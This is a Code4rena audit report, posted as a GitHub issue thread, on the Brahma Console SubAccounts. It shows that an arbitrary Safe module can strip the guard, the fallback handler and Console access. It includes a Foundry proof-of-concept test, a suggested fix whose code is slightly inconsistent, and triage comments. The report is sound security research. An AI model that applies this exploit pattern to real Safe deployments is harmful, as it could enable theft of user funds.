c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/lib/safe-contracts/contracts/base/ModuleManager.sol#L56-L73 https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/src/core/TransactionValidator.sol#L95-L107

Vulnerability details

Impact

A SubAccount module can renounce Console's access, remove SafeModerator to bypass Trusted Validator signature check and Subaccount security checks, and remove ConsoleFallbackHandler. Module could also steal user funds and renounce owners.

Description

The sponsor stated 5 main invariants, an arbitrary module can break 3 of them:

Main Console Account should always stay as a module enabled on any subaccount it owns (unless manually changed by Main Console)

Subaccount should always have SafeModerator enabled as guard on it (unless manually changed by Main Console)

Subaccount should always have ConsoleFallbackHandler enabled as the fallback handler on it (unless manually changed by Main Console)

A module introduced to SubAccount - Safe can remove the main Console account's module access, remove SafeModerator guard and remove the ConsoleFallbackHandler. Note that these actions are not manually changed by the Main Console, the module will have full access to execute in SubAccount.

safe-contracts/contracts/base/ModuleManager.sol - execTransactionFromModule()

    function execTransactionFromModule(
        address to,
        uint256 value,
        bytes memory data,
        Enum.Operation operation
    ) public virtual returns (bool success) {
        // Only whitelisted modules are allowed.
        require(msg.sender != SENTINEL_MODULES && modules[msg.sender] != address(0), "GS104");
        // Execute transaction without further confirmations.
        success = execute(to, value, data, operation, type(uint256).max);
        if (success) emit ExecutionFromModuleSuccess(msg.sender);
        else emit ExecutionFromModuleFailure(msg.sender);
    }

Since the arbitrary module has unlimited access to the SubAccount with no checks: it could also steal user funds and renounce owners of the Safe SubAccount. Consider disallowing arbitrary modules since it's a big security risk to any Safe.

Proof of Concept

navigate to test/branch-trees/SafeDeployer/deploy-console-account/DeployConsoleAccount.t.sol

import the following safe contracts in the top of the file:

import {GuardManager} from "safe-contracts/base/GuardManager.sol";
import {ModuleManager} from "safe-contracts/base/ModuleManager.sol";
import {FallbackManager} from "safe-contracts/base/FallbackManager.sol";
import {Enum} from "safe-contracts/common/Enum.sol";
import {GnosisSafe} from "safe-contracts/GnosisSafe.sol";

copy the below proof of concept (with executeSafeTxHelper() helper function) in SafeDeployer_DeployConsoleAccountTest contract

run make test_func P=testDeployConsoleWithSubAccount_BreakInvariants_0xfuje

function testDeployConsoleWithSubAccount_BreakInvariants_0xfuje () public { 
    address[] memory owners = new address[](3);
    owners[0] = makeAddr("owners[0]");
    owners[1] = makeAddr("owners[1]");
    owners[2] = makeAddr("owners[2]");

    // s = setup
    // s-1 -threshold of one for easier testing
    address consoleAccount = safeDeployer.deployConsoleAccount(owners, 1, bytes32(0), keccak256("salt"));

    // s-2 - deploy subAccount with console account
    owners[2] = consoleAccount;
    executeSafeTxHelper(
        owners[0], // from
        GnosisSafe(payable(consoleAccount)), // safe
        address(safeDeployer), // to
        1, // nonce
        abi.encodeWithSelector(SafeDeployer.deploySubAccount.selector, owners, 1, bytes32("commit"), keccak256("salty")),
        false // revert
    );
    // computed deployed subaccount address
    address subAccount = address(0xFBa143C9ac450a680BBf1289ba1B9C44e89262c8);
    address mockModule = makeAddr("mockModule");

    // s-3 - enable arbitrary module on subaccount
    vm.prank(consoleAccount);
    GnosisSafe(payable(subAccount)).execTransactionFromModule(
        subAccount,
        0,
        abi.encodeWithSelector(ModuleManager.enableModule.selector, mockModule),
        Enum.Operation.Call
    );

    // 1 - module can remove guard which breaks invariant 2
    // Subaccount should always have `SafeModerator` enabled as guard on it
    vm.startPrank(mockModule);
    GnosisSafe(payable(subAccount)).execTransactionFromModule(
        subAccount,
        0,
        abi.encodeWithSelector(GuardManager.setGuard.selector, address(0)),
        Enum.Operation.Call
    );

    // 2 - module can remove fallbackhandler which breaks invariant 3 
    // Subaccount should always have `ConsoleFallbackHandler` enabled as the fallback handler on it
    GnosisSafe(payable(subAccount)).execTransactionFromModule(
        subAccount,
        0,
        abi.encodeWithSelector(FallbackManager.setFallbackHandler.selector, address(0)),
        Enum.Operation.Call
    );

    // 3 - module can remove console account which breaks invariant 1
    // Main Console Account should always stay as a module enabled on any subaccount it owns
    GnosisSafe(payable(subAccount)).execTransactionFromModule(
        subAccount,
        0,
        abi.encodeWithSelector(ModuleManager.disableModule.selector, mockModule, address(consoleAccount)),
        Enum.Operation.Call
    );

    // v = verify
    // v-1 - verify that SafeModerator Guard is disabled (set to address 0)
    uint256 _GUARD_STORAGE_SLOT = 33528237782592280163068556224972516439282563014722366175641814928123294921928;
    bytes memory guardSlot = IGnosisSafe(subAccount).getStorageAt(_GUARD_STORAGE_SLOT, 1); // (see SafeHelper.sol)
    address guardAddress = address(uint160(uint256(bytes32(guardSlot))));
    // guard is address 0
    assertEq(guardAddress, address(0));

    // v-2 - verify that ConsoleFallbackHandler is disabled (set to address 0)
    uint256 _FALLBACK_HANDLER_STORAGE_SLOT = 49122629484629529244014240937346711770925847994644146912111677022347558721749;
    bytes memory fallbackHandlerSlot = IGnosisSafe(subAccount).getStorageAt(_FALLBACK_HANDLER_STORAGE_SLOT, 1); // (see SafeHelper.sol)
    address fallbackHandlerAddress = address(uint160(uint256(bytes32(fallbackHandlerSlot))));
    // fallbackhandler is address 0
    assertEq(fallbackHandlerAddress, address(0));

    // v-3 - verify that Console Account is disabled on SubAccount
    bool isConsoleAccountEnabledOnSubAccount = 
        GnosisSafe(payable(subAccount)).isModuleEnabled(consoleAccount);
    // assertion is false
    assertFalse(isConsoleAccountEnabledOnSubAccount);
}

function executeSafeTxHelper(address from, GnosisSafe safe, address to, uint256 nonce, bytes memory data, bool expectRevert) public {
    vm.startPrank(from);

    bytes32 r = bytes32(uint256(uint160(address(from))));

    bytes32 dataHash =
    safe.getTransactionHash(to, 0, data, Enum.Operation.Call, 0, 0, 0, address(0), msg.sender, nonce);
    safe.approveHash(dataHash);

    if (expectRevert) {
        vm.expectRevert();
    }

    safe.execTransaction(
        to,
        0,
        data,
        Enum.Operation.Call,
        0,
        0,
        0,
        address(0),
        payable(address(msg.sender)),
        abi.encodePacked(abi.encode(r, bytes32(0)), bytes1(hex"01"))
    );

    vm.stopPrank();
}

Recommended Mitigation

Consider forbidding arbitrary modules in SubAccount and to only allow the Console account to operate as a module. This can be archived by saving a hash of all existing modules pre-transaction to a storage variable and checking if it's the same post-transaction. An example implementation in TransactionValidator.sol:

    // temporary record of the existing modules on `safe` when a transaction is submitted
    bytes32 internal existingModulesHash;
    // count of enabled modules -> only `Console` is allowed to operate as module
    uint256 enabledModuleCount = 1;

    function validatePreTransaction(SafeTransactionParams memory txParams) external view {
    // record existing modules for post-exec check
    (address[] memory modules,) = safe.getModulesPaginated(SENTINEL_OWNERS, enabledModuleCount);

    _existingModulesHash = keccak256(abi.encode(modules));

        _validatePolicySignature(
            txParams.from, txParams.to, txParams.value, txParams.data, txParams.operation, txParams.signatures
        );
    }

    function validatePostTransaction(bytes32, /*txHash */ bool, /*success */ address subAccount) external view {
    // enabledModuleCount + 1 is because we want to query +1 to catch if the user added a new module
    (address[] memory modules,) = safe.getModulesPaginated(address(0x1), enabledModuleCount + 1);

    if (keccak256(abi.encode(modules)) != existingModulesHash) {
        revert SignersCannotChangeModules();
        }

        _checkSubAccountSecurityConfig(subAccount);
    }

Assessed type

Library

c4-pre-sort commented 11 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 11 months ago

raymondfam marked the issue as primary issue

0xad1onchain commented 10 months ago

Duplicate of

https://github.com/code-423n4/2023-10-brahma-findings/issues/65

https://github.com/code-423n4/2023-10-brahma-findings/issues/282

https://github.com/code-423n4/2023-10-brahma-findings/issues/336

https://github.com/code-423n4/2023-10-brahma-findings/issues/338

0xad1onchain commented 10 months ago

NO,

In console guard, only safe guard and fallback handler states are checked on chain, so that the safe guard will invoke further validation via trusted validator signature can ensure all other state is in place

c4-sponsor commented 10 months ago

0xad1onchain (sponsor) acknowledged

c4-judge commented 10 months ago

alex-ppg marked the issue as duplicate of #412